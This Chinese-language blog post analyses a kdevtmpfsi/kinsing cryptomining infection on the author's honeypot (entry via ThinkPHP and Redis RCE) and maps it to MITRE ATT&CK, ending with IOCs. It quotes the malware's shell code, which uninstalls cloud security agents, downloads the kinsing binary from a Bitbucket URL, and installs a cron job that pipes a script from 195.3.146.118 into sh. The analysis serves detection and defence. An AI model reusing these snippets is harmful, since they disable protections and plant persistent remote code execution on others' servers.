MITRE ATT&CK主要是基于真实的入侵行为、APT攻击事件梳理形成的知识框图,对于甲方企业安全,可以利用其梳理自身的业务场景、设计威胁模型并与其ATT&CT中的攻击手法做对应,以其发现自身缺陷点,反推检测、防御能力,提高整体的企业安全水位。而本文是基于自己在外网搭建的蜜罐系统真实发生的入侵事件,利用ATT&CT站在攻击者的视角更有针对性的梳理攻击者的思路、攻击手法。

恶意挖矿程序简述

恶意挖矿程序基本特征

  • kdevtmpfsi
  • 漏洞利用:ThinkPHP RCE、redis RCE
    /proc/[pid]信息
    1
    2
    3
    4
    5
    6
    7
    - pid: 21940
    - command: /tmp/kdevtmpfsi
    - /cmdline: /tmp/kdevtmpfsi
    - /comm: kdevtmpfsi
    - /environ: D=FALSESKL=tUSER=apache_=/tmp/kdevtmpfsiPWD=/usr/share/nginx/html/thinkphp/publicSHLVL=3HOME=/var/www
    - /cwd: lrwxrwxrwx 1 48 48 0 Mar 24 14:25 /proc/21940/cwd -> /
    - /exe: lrwxrwxrwx 1 48 48 0 Mar 24 14:25 /proc/21940/exe -> /
    tmp/kdevtmpfsi
    1
    2
    3
    4
    5
    6
    7
    File: `kdevtmpfsi'
    Size: 3922304 Blocks: 7664 IO Block: 4096 regular file
    Device: 33h/51d Inode: 1024056 Links: 1
    Access: (0755/-rwxr-xr-x) Uid: ( 48/ apache) Gid: ( 48/ apache)
    Access: 2020-03-24 14:21:46.219912578 +0000
    Modify: 2020-03-24 14:21:46.207912765 +0000
    Change: 2020-03-24 14:21:46.219912578 +0000

恶意挖矿程序初始攻击入口

作者在蜜罐系统发现存在kdevtmpfsi该恶意挖矿程序的环境为thinkphp、redis

  • thinkphp RCE(远程命令执行)
    thinkphp_payload
  • redis RCE(远程命令执行),6379端口未授权写入payload实现getshell
    redis_payload

恶意挖矿程序初始化、执行

  • 对抗:识别VPS/EC2平台,并卸载对应的安全组件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    if ps aux | grep -i '[a]liyun'; then
    curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
    curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
    pkill aliyun-service
    rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
    rm -rf /usr/local/aegis*
    systemctl stop aliyun.service
    systemctl disable aliyun.service
    service bcm-agent stop
    yum remove bcm-agent -y
    apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
    /usr/local/qcloud/stargate/admin/uninstall.sh
    /usr/local/qcloud/YunJing/uninst.sh
    /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  • 植入
    下载对应的守护进程
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    download2() {
    $WGET $DIR/kinsing https://bitbucket.org/kimrakfl33/git/raw/master/kinsing
    chmod +x $DIR/kinsing
    if [ -x "$(command -v md5sum)" ]; then
    sum=$(md5sum $DIR/kinsing | awk '{ print $1 }')
    echo $sum
    case $sum in
    a71ad3167f9402d8c5388910862b16ae)
    echo "kinsing OK"
    ;;
    *)
    echo "kinsing wrong"
    download3
    ;;
    esac
    else
    echo "No md5sum"
    download3
    fi
    }
  • 持久化
    crontab任务
    1
    2
    3
    4
    5
    6
    7
    8
    9
    crontab -l | grep -e "195.3.146.118" | grep -v grep
    if [ $? -eq 0 ]; then
    echo "cron good"
    else
    (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://195.3.146.118/t.sh | sh > /dev/null 2>&1"
    ) | crontab -
    fi

恶意挖矿程序实现

对恶意挖矿程序kdevtmpfsi样本逆向

  • compile: ubuntu[executable AMD64]
  • 内嵌的挖矿功能是基于开源的XMRig实现,币种:XMR,矿池:xmr-eu1.nanopool.org
    ida

Mitre Att&ck Matrix

样本信息对应Mitre Att&ck Matrix

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Exfiltration Command and Control Network Effects Remote Service Effects Impact
[External Remote Services](https://attack.mitre.org/techniques/T1133) [Scripting](https://attack.mitre.org/techniques/T1064) [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158) [Scripting](https://attack.mitre.org/techniques/T1064) [Network Sniffing](https://attack.mitre.org/techniques/T1040/) [System Information Discovery](https://attack.mitre.org/techniques/T1082) [Remote File Copy](https://attack.mitre.org/techniques/T1105) [Standard Non-Application Layer Protocol](https://attack.mitre.org/techniques/T1095) [Service Stop](https://attack.mitre.org/techniques/T1489)

模拟攻击者视角

确定目标 -> 准备TTPs -> 实施攻击 -> 执行、对抗 -> 完成

  • 初始访问(Initial Access): 确认目标系统、service等是否是已有对应TTPs;

  • 执行(Execution): 运行恶意shell脚本;

  • 持久化(Persistence):

    • 卸载云平台安全组件;
    • 执行守护进程;
    • crontab任务;
  • 防御绕过(Defensive Evasion): shell脚本执行;

  • 危害(Impact): CPU资源消耗、攻击者矿池收益增加;

个人思考

  • ATT&CK 适用场景

    • 威胁情报: 识别具体的APT组织(乙方安全侧重点)
    • 红蓝对抗: 模拟具体的TTPs,检测现有体系是否可以发现、阻断
    • 风险识别: 长链路的安全评估、风险识别中发现纵深防御的薄弱点
    • UEBA: Tactics\Technique 已标签、模版化,检测并区分恶意、正常用户,实现攻击链路的阻断
  • 问题

    • 子攻击技术的粒度不够细腻: ATT&CK提供的是一套系统的理论体系,但是没有解决子攻击的具体检测问题,相对笼统
    • 适用于极小范围、难以发现的APT攻击、检测场景,而对于大范围的常规漏洞(代码基础漏洞、业务逻辑漏洞)缺少落地点

附录:恶意挖矿程序IOC

  • Filename: kdevtmpfsi
  • Size: 3.7M
  • Type: elf\64bits\executable
  • MD5: 1692020039cb723c351aa1a6a9b03fdc
  • SHA1: 9c002fa3d2b056708554a340b811a478bdb7db3b
  • SHA256: 24fdf5b1e1e8086031931f2678d874487316dc1e266581b328d6e34a1fd7748c